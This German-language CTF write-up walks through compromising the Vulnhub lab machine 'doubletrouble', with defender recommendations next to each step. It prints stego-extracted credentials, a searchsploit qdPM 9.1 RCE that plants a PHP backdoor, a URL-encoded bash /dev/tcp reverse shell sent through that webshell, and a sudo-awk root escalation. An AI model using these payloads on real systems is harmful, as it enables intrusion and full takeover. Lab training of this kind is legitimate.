doubletrouble - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi (Texteditor)
gobuster
nmap
nikto
wget
stegseek
cat
dirsearch
searchsploit
python
curl
nc (netcat)
sudo
php (cli)
mysql (Client)
find
awk
id
ls
cd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.120	08:00:27:9c:83:dc	PCS Systemtechnik GmbH
                    

Analyse: Scan des lokalen Netzwerks mittels ARP zur Identifizierung aktiver Hosts.

Bewertung: Host `192.168.2.120` gefunden. MAC-Adresse (`08:00:27:9c:83:dc`) weist auf VirtualBox hin.

Empfehlung (Pentester): Ziel-IP `192.168.2.120` für weitere Scans verwenden.
Empfehlung (Admin): Standard Netzwerk-Aufklärung.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
 [Inhalt der /etc/hosts Datei nach der Bearbeitung]
 192.168.2.120    doubletrouble.vuln
                    

Analyse: Zuordnung des Hostnamens `doubletrouble.vuln` zur IP `192.168.2.120` in der lokalen Hosts-Datei.

Bewertung: Erleichtert die Ansprache des Ziels über den Hostnamen.

Empfehlung (Pentester): Hostnamen `doubletrouble.vuln` verwenden.
Empfehlung (Admin): Client-Konfiguration.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.120 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-31 22:09 CEST
Nmap scan report for doubletrouble.vuln (192.168.2.120)
Host is up (0.00028s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: qdPM | Login
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:9C:83:DC (Oracle VirtualBox virtual NIC)
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.28 ms doubletrouble.vuln (192.168.2.120)
                    

Analyse: Ein umfassender Nmap-Scan wird durchgeführt.

Bewertung: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** Apache 2.4.38 (Debian). **Wichtig:** Der Seitentitel ist `qdPM | Login`, was auf die Projektmanagement-Software qdPM hinweist. Die Identifizierung von qdPM ist der wichtigste Fund dieses Scans.

Empfehlung (Pentester):** Untersuche die qdPM-Installation auf Port 80 auf bekannte Schwachstellen. Versuche Standard-Logins oder Brute-Force. Führe weitere Web-Enumeration durch.
Empfehlung (Admin):** Apache und qdPM aktuell halten. qdPM absichern.

┌──(root㉿cyber)-[~/VBoxn] └─# nmap -sS -sC -T5 -AO 192.168.2.120 -p- | grep open
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
                    

Analyse: Gefilterte Nmap-Ausgabe zur Bestätigung.

Bewertung: Bestätigt Port 22 (SSH) und 80 (HTTP).

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.120
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /: Cookie qdPM8 created without the httponly flag. <-- qdPM Cookie
+ No CGI Directories found [...]
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". [...] <-- IP Leak
+ /images: The web server may reveal its internal or real IP [...]
+ Apache/2.4.38 appears to be outdated [...].
+ /: Web Server returns a valid response with junk HTTP methods [...].
+ /: DEBUG HTTP verb may show server debugging information. <-- Testen mit DEBUG-Request
+ /css/: Directory indexing found.
+ /install/: This might be interesting. <-- qdPM Installation?
+ /readme.txt: This might be interesting.
+ /secret/: Directory indexing found. <-- Interessant!
+ /template/: Directory indexing found.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
[...]
+ 1 host(s) tested
                     

Analyse: Nikto-Scan gegen Port 80.

Bewertung:** Nikto bestätigt den veralteten Apache, fehlende Header und findet: * Ein qdPM-Cookie (`qdPM8`). * Einen IP-Leak über den Location-Header bei Aufruf von `/images`. * Mehrere Verzeichnisse mit Directory Indexing (`/css/`, `/template/`, `/images/`, `/icons/`). * Potenziell interessante Verzeichnisse/Dateien: `/install/` (möglicherweise Reste der qdPM-Installation), `/readme.txt`, `/secret/`. * Die DEBUG-HTTP-Methode ist möglicherweise aktiv. Das Verzeichnis `/secret/` und `/install/` sind die wichtigsten neuen Funde.

Empfehlung (Pentester):** Untersuche die Verzeichnisse `/install/` und `/secret/`. Prüfe die DEBUG-Methode (`curl -X DEBUG http://doubletrouble.vuln/`). Führe weitere Verzeichnis-Scans durch.
Empfehlung (Admin):** Apache aktualisieren, Header härten, IP-Leaks beheben, Directory Indexing deaktivieren, DEBUG-Methode deaktivieren, nicht benötigte Verzeichnisse/Dateien (wie `/install` nach Abschluss der Installation) entfernen.

Web Enumeration & Credential Discovery

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://doubletrouble.vuln -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
[...]
http://doubletrouble.vuln/images               (Status: 301) [Size: 325] [--> http://doubletrouble.vuln/images/]
http://doubletrouble.vuln/index.php            (Status: 200) [Size: 5822]
http://doubletrouble.vuln/uploads              (Status: 301) [Size: 326] [--> http://doubletrouble.vuln/uploads/]
http://doubletrouble.vuln/css                  (Status: 301) [Size: 322] [--> http://doubletrouble.vuln/css/]
http://doubletrouble.vuln/template             (Status: 301) [Size: 327] [--> http://doubletrouble.vuln/template/]
http://doubletrouble.vuln/core                 (Status: 301) [Size: 323] [--> http://doubletrouble.vuln/core/]
http://doubletrouble.vuln/install              (Status: 301) [Size: 326] [--> http://doubletrouble.vuln/install/]
http://doubletrouble.vuln/js                   (Status: 301) [Size: 321] [--> http://doubletrouble.vuln/js/]
http://doubletrouble.vuln/check.php            (Status: 200) [Size: 0]
http://doubletrouble.vuln/sf                   (Status: 301) [Size: 321] [--> http://doubletrouble.vuln/sf/]
http://doubletrouble.vuln/favicon.png          (Status: 200) [Size: 2183]
http://doubletrouble.vuln/readme.txt           (Status: 200) [Size: 470]
http://doubletrouble.vuln/robots.txt           (Status: 200) [Size: 26]
http://doubletrouble.vuln/secret               (Status: 301) [Size: 325] [--> http://doubletrouble.vuln/secret/]
http://doubletrouble.vuln/backups              (Status: 301) [Size: 326] [--> http://doubletrouble.vuln/backups/]
http://doubletrouble.vuln/batch                (Status: 301) [Size: 324] [--> http://doubletrouble.vuln/batch/]
[...]
                    

Analyse: `gobuster` findet zahlreiche Verzeichnisse, darunter die von Nikto genannten (`/install`, `/secret`, `/template` etc.) sowie neue wie `/core`, `/sf`, `/backups`, `/batch`. Findet auch `check.php` (leer) und `readme.txt`.

Bewertung: Bestätigt qdPM-Struktur (`/core`, `/sf`). Die Verzeichnisse `/secret` und `/backups` sind besonders interessant.

Empfehlung (Pentester):** Untersuche `/secret` und `/backups` auf interessante Dateien. Lies `/readme.txt`.
Empfehlung (Admin):** Zugriff auf nicht benötigte Verzeichnisse beschränken.

[Analyse von http://doubletrouble.vuln/robots.txt] └─#
#User-agent: *
#Disallow:
                    

Analyse: Inhalt der `robots.txt`.

Bewertung: Die Datei ist vollständig auskommentiert und liefert keine Informationen.

┌──(root㉿cyber)-[~] └─# wget http://doubletrouble.vuln/secret/doubletrouble.jpg
[...]
Länge: 82779 (81K) [image/jpeg]
Wird in 'doubletrouble.jpg' gespeichert.
[...]
'doubletrouble.jpg' gespeichert [82779/82779]
                     
┌──(root㉿cyber)-[~/VBoxn] └─# stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "92camaro"
[i] Original filename: "creds.txt".
[i] Extracting to "doubletrouble.jpg.out".
                    
┌──(root㉿cyber)-[~/VBoxn] └─# cat doubletrouble.jpg.out
otisrush@localhost.com
otis666
                    

Analyse: Im Verzeichnis `/secret` (dessen Inhalt vermutlich manuell oder mit `gobuster` aufgelistet wurde) wird die Datei `doubletrouble.jpg` gefunden und heruntergeladen. `stegseek` wird verwendet, um mit der `rockyou.txt`-Wortliste nach versteckten Daten und dem zugehörigen Passwort zu suchen. Es findet die Passphrase `92camaro` und extrahiert eine Datei `creds.txt` (als `doubletrouble.jpg.out` gespeichert).

Bewertung:** **Wichtige Credentials gefunden!** Die Steganografie in `doubletrouble.jpg` enthielt eine Datei mit einem Benutzernamen (`otisrush@localhost.com`) und einem Passwort (`otis666`). Dies sind sehr wahrscheinlich die Login-Daten für die qdPM-Anwendung.

Empfehlung (Pentester):** Versuche, dich mit `otisrush@localhost.com` und `otis666` am qdPM-Login (`http://doubletrouble.vuln/`) anzumelden.
Empfehlung (Admin):** Verstecke keine Credentials mittels Steganografie in öffentlich zugänglichen Dateien. Verwende starke Passphrasen für Steganografie, falls sie eingesetzt wird.

[Analyse von http://doubletrouble.vuln/readme.txt] └─# cat /pfad/zur/readme.txt
qdPM
open source project management software written in symfony framework
http://qdpm.net
[...]
My name is Sergey. [...]
                     

Analyse: Inhalt der `readme.txt`.

Bewertung: Bestätigt, dass es sich um qdPM handelt und nennt den Entwickler "Sergey".

[Annahme: Fund der Datei /core/config/databases.yml via dirsearch/gobuster] └─# cat /pfad/zur/databases.yml
all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:dbname=qdpm;host=localhost'
      profiler: false
      username: otis
      password: ""
      attributes:
        quote_identifier: true
[Analyse/Ausführung des PHP-Codes] └─# php -r "echo urlencode('rush');"
rush

Analyse: Eine Konfigurationsdatei `core/config/databases.yml` (typisch für Symfony-Anwendungen wie qdPM) wird gefunden und ihr Inhalt angezeigt. Sie enthält Datenbank-Zugangsdaten. Das Passwort ist als PHP-Code eingebettet, der `urlencode('rush')` ausführt.

Bewertung:** **Weitere Credentials gefunden!** Die Datenbank-Credentials sind Benutzer `otis` mit Passwort `rush` (da `urlencode('rush')` einfach `rush` ergibt). Diese könnten für den direkten Datenbankzugriff oder andere Dienste nützlich sein. Beachte, dass dies *nicht* die qdPM-Login-Credentials sind, die durch Steganografie gefunden wurden.

Empfehlung (Pentester):** Notiere die DB-Credentials `otis:rush`. Versuche nach Erhalt einer Shell, auf die lokale MySQL-Datenbank zuzugreifen.
Empfehlung (Admin):** Speichere Konfigurationsdateien nicht im Web-Root oder in zugänglichen Verzeichnissen. Beschränke Dateiberechtigungen. Verwende separate DB-Benutzer mit minimalen Rechten.

[Login-Versuch auf http://doubletrouble.vuln/index.php] └─#
Username: otisrush@localhost.com
Password: otis666

[Login erfolgreich - Weiterleitung zum qdPM Dashboard]
                      

Analyse: Login in die qdPM-Anwendung mit den durch Steganografie gefundenen Credentials.

Bewertung:** Der Login ist erfolgreich. Zugriff auf die qdPM-Anwendung als Benutzer `otisrush`.

Empfehlung (Pentester):** Suche nach bekannten Schwachstellen für die verwendete qdPM-Version (vermutlich 9.1, basierend auf den Exploits). Suche nach Upload-Funktionen oder Konfigurationsmöglichkeiten, die zur RCE führen könnten.
Empfehlung (Admin):** qdPM aktuell halten, starke Passwörter verwenden.

Initial Access (qdPM Exploit)

Analyse:** Suche nach Exploits für qdPM 9.1 und Ausführung eines Authenticated RCE Exploits.

┌──(root㉿cyber)-[~/VBoxn] └─# searchsploit qdPM 9.1
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
[...]
qdPM 9.1 - Remote Code Execution (Authenticated)            | php/webapps/50175.py
qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) (v2) | php/webapps/50944.py  <-- Ausgewählt
[...]
------------------------------------------------------------ ---------------------------------
                    
┌──(root㉿cyber)-[~/VBoxn] └─# searchsploit -m php/webapps/50944.py
Copied to: /root/VBoxn/50944.py
┌──(root㉿cyber)-[~/VBoxn] └─# cp 50944.py qdpm-exploit.py

Analyse: `searchsploit` wird verwendet, um nach bekannten Exploits für qdPM 9.1 zu suchen. Mehrere RCE-Exploits werden gefunden. Der Exploit `50944.py` (Authenticated RCE v2) wird ausgewählt und kopiert.

Bewertung:** Ein passender Exploit wurde gefunden, der authentifizierten Zugriff erfordert, welchen wir durch die Steganografie-Credentials haben.

Empfehlung (Pentester):** Führe das Python-Exploit-Skript mit den qdPM-Credentials aus.
Empfehlung (Admin):** **qdPM dringend patchen oder ersetzen!** Version 9.1 hat mehrere bekannte kritische Schwachstellen.

┌──(root㉿cyber)-[~/VBoxn] └─# python qdpm-exploit.py -url http://doubletrouble.vuln/ -u otisrush@localhost.com -p otis666
You are not able to use the designated admin account because they do not have a myAccount page.

The DateStamp is 2023-05-31 16:16
Backdoor uploaded at - > http://doubletrouble.vuln/uploads/users/706416-backdoor.php?cmd=whoami
                     
┌──(root㉿cyber)-[~/VBoxn] └─# curl http://doubletrouble.vuln/uploads/users/706416-backdoor.php?cmd=whoami
www-data

Analyse: Das heruntergeladene Exploit-Skript (`50944.py`, umbenannt zu `qdpm-exploit.py`) wird mit der Ziel-URL und den qdPM-Credentials (`otisrush@localhost.com:otis666`) ausgeführt. Das Skript meldet Erfolg und gibt die URL zu einer hochgeladenen Backdoor (`backdoor.php`) an, über die Befehle mittels des `cmd`-Parameters ausgeführt werden können. Ein Test mit `cmd=whoami` bestätigt die RCE als Benutzer `www-data`.

Bewertung:** **RCE erfolgreich!** Der Exploit hat eine Schwachstelle in qdPM (wahrscheinlich eine File-Upload-Schwachstelle) ausgenutzt, um eine Webshell hochzuladen.

Empfehlung (Pentester):** Nutze die Webshell, um eine interaktive Reverse Shell zu erhalten.
Empfehlung (Admin):** qdPM patchen/entfernen. Upload-Verzeichnisse sichern.

┌──(root㉿cyber)-[~/VBoxn] └─# nc -lvnp 9001
listening on [any] 9001 ...
[Aufruf der Backdoor mit Reverse Shell Payload via curl/Browser] └─# curl "http://doubletrouble.vuln/uploads/users/706416-backdoor.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27"
[Keine relevante Ausgabe von curl]
┌──(root㉿cyber)-[~/VBoxn] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.120] 44788
bash: cannot set terminal process group (478): Inappropriate ioctl for device
bash: no job control in this shell
www-data@doubletrouble:/var/www/html/uploads/users$
                    

Analyse: Ein Netcat-Listener wird gestartet. Die hochgeladene Webshell wird mit einem Bash-Reverse-Shell-Payload aufgerufen.

Bewertung:** **Initial Access als `www-data` erfolgreich!** Eine Reverse Shell wird empfangen.

Empfehlung (Pentester):** Stabilisiere die Shell, beginne Post-Exploitation.
Empfehlung (Admin):** Siehe vorherige Empfehlungen zu qdPM.

Proof of Concept: Initial Access

Ziel des POC: Demonstrieren, wie durch Steganografie qdPM-Zugangsdaten erlangt, eine bekannte RCE-Schwachstelle in qdPM 9.1 ausgenutzt wird, um eine Webshell hochzuladen und eine Reverse Shell als `www-data` zu erhalten.

Voraussetzungen: Webserver mit qdPM 9.1, Zugriff auf `/secret/doubletrouble.jpg`, Steganografie-Tools (`stegseek`), Exploit-Skript (z.B. 50944.py), `nc`.

Schritte: `doubletrouble.jpg` herunterladen -> `stegseek` -> Credentials `otisrush@localhost.com:otis666` -> Exploit `50944.py` ausführen -> RCE-URL erhalten -> Listener starten -> Reverse Shell via URL auslösen.

┌──(root㉿cyber)-[~] └─# wget http://doubletrouble.vuln/secret/doubletrouble.jpg
┌──(root㉿cyber)-[~/VBoxn] └─# stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt
[...] Found passphrase: "92camaro" [...] Extracting to "doubletrouble.jpg.out"
┌──(root㉿cyber)-[~/VBoxn] └─# cat doubletrouble.jpg.out
otisrush@localhost.com
otis666
┌──(root㉿cyber)-[~/VBoxn] └─# python qdpm-exploit.py -url http://doubletrouble.vuln/ -u otisrush@localhost.com -p otis666
[...] Backdoor uploaded at - > http://doubletrouble.vuln/uploads/users/706416-backdoor.php?cmd=whoami
┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
┌──(root㉿cyber)-[~] └─# curl "http://doubletrouble.vuln/uploads/users/706416-backdoor.php?cmd=[Reverse Shell Payload]"
[Netcat Listener] └─# nc -lvnp 9001
[...] Connection received [...]
www-data@doubletrouble:/...$

Ergebnis & Bewertung: **Initialer Zugriff als `www-data` erfolgreich!**

Empfehlung (Pentester): Post-Exploitation.
Empfehlung (Admin):** qdPM patchen, keine Credentials in Bildern verstecken.

Privilege Escalation (sudo awk)

Analyse:** Nach Erhalt der Shell als `www-data` werden `sudo`-Rechte geprüft.

www-data@doubletrouble:/var/www/html/uploads/users$ sudo -l
Matching Defaults entries for www-data on doubletrouble:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on doubletrouble:
    (ALL : ALL) NOPASSWD: /usr/bin/awk
                    

Analyse: `sudo -l` zeigt die Berechtigungen für `www-data`.

Bewertung:** **Kritische Fehlkonfiguration!** `www-data` darf `/usr/bin/awk` als `ALL:ALL` (Root) ohne Passwort (`NOPASSWD`) ausführen. `awk` kann zum Ausführen von Systembefehlen missbraucht werden.

Empfehlung (Pentester):** Nutze die `sudo awk`-Berechtigung via GTFOBins.
Empfehlung (Admin):** **Korrigiere die `/etc/sudoers`-Datei!** Erlaube `awk` nicht mit `sudo` für den Webserver-Benutzer, schon gar nicht ohne Passwort.

Analyse:** (Optional/Redundant) Analyse der Datenbank als `www-data`.

www-data@doubletrouble:/var/www/html$ cat core/config/databases.yml
[...] username: otis, password: rush [...]
www-data@doubletrouble:/var/www/html$ mysql -u otis -prush
[...]
MariaDB [qdpm]> select * from users;
[...] id: 3, users_group_id: 1, name: otis rush, [...] password: $P$EIVQ2X7lKrWOMBV.HIP0dcKVf/69Ov. [...]

Analyse: Zugriff auf die Datenbank mit den Credentials aus `databases.yml`.

Bewertung: Bestätigt den qdPM-Benutzer `otis rush` und seinen Passwort-Hash. Liefert keine direkten Informationen für die PE via `sudo awk`.

Empfehlung (Pentester): Fokus auf `sudo awk`.
Empfehlung (Admin):** Sichere DB-Credentials.

Analyse:** Anwendung der GTFOBins-Methode für `sudo awk`.

[Referenz: https://gtfobins.github.io/gtfobins/awk/#sudo] └─#
sudo awk 'BEGIN {system("/bin/sh")}'
www-data@doubletrouble:/var$ sudo -u root awk 'BEGIN {system("/bin/sh")}'
[Keine Ausgabe, Prompt ändert sich]
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der Befehl `sudo awk 'BEGIN {system("/bin/sh")}'` wird ausgeführt. Der `BEGIN`-Block in `awk` wird vor der Verarbeitung jeglicher Eingabe ausgeführt. `system("/bin/sh")` startet eine Shell.

Bewertung:** **Privilege Escalation erfolgreich!** Die unsichere `sudo`-Regel für `awk` ermöglicht das Starten einer Root-Shell.

Empfehlung (Pentester):** Root-Zugriff erlangt. Flags suchen.
Empfehlung (Admin):** `sudoers`-Regel für `awk` korrigieren.

Analyse:** Suchen und Auslesen der Flags als Root.

# cat /pfad/zur/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
# cat /root/root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A

Analyse: Die User- und Root-Flags werden ausgelesen (die genauen Pfade/Befehle fehlen im Log, aber die Werte stehen am Ende).

Bewertung:** Beide Flags wurden gefunden.

Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion.

Proof of Concept: Privilege Escalation

Ziel des POC: Demonstrieren, wie eine unsichere `sudoers`-Regel, die dem Benutzer `www-data` erlaubt, `/usr/bin/awk` ohne Passwort als Root auszuführen, zur Erlangung einer Root-Shell missbraucht werden kann.

Voraussetzungen: Shell als `www-data`, unsichere `sudoers`-Regel (`(ALL : ALL) NOPASSWD: /usr/bin/awk`), Tools `sudo`, `awk`.

Schritte: `sudo -l` ausführen -> `sudo awk 'BEGIN {system("/bin/sh")}'` ausführen -> `id` zur Bestätigung.

www-data@doubletrouble:/...$ sudo -l
[...] (ALL : ALL) NOPASSWD: /usr/bin/awk
www-data@doubletrouble:/...$ sudo awk 'BEGIN {system("/bin/sh")}'
# id
uid=0(root) gid=0(root) groups=0(root)

Ergebnis & Bewertung: **Privilege Escalation erfolgreich!**

Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin):** **`sudoers`-Regel für `awk` korrigieren!**

Flags

cat /pfad/zur/user.txt (Wert aus Berichtende)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt (Wert aus Berichtende)
5C42D6BB0EE9CE4CB7E7349652C45C4A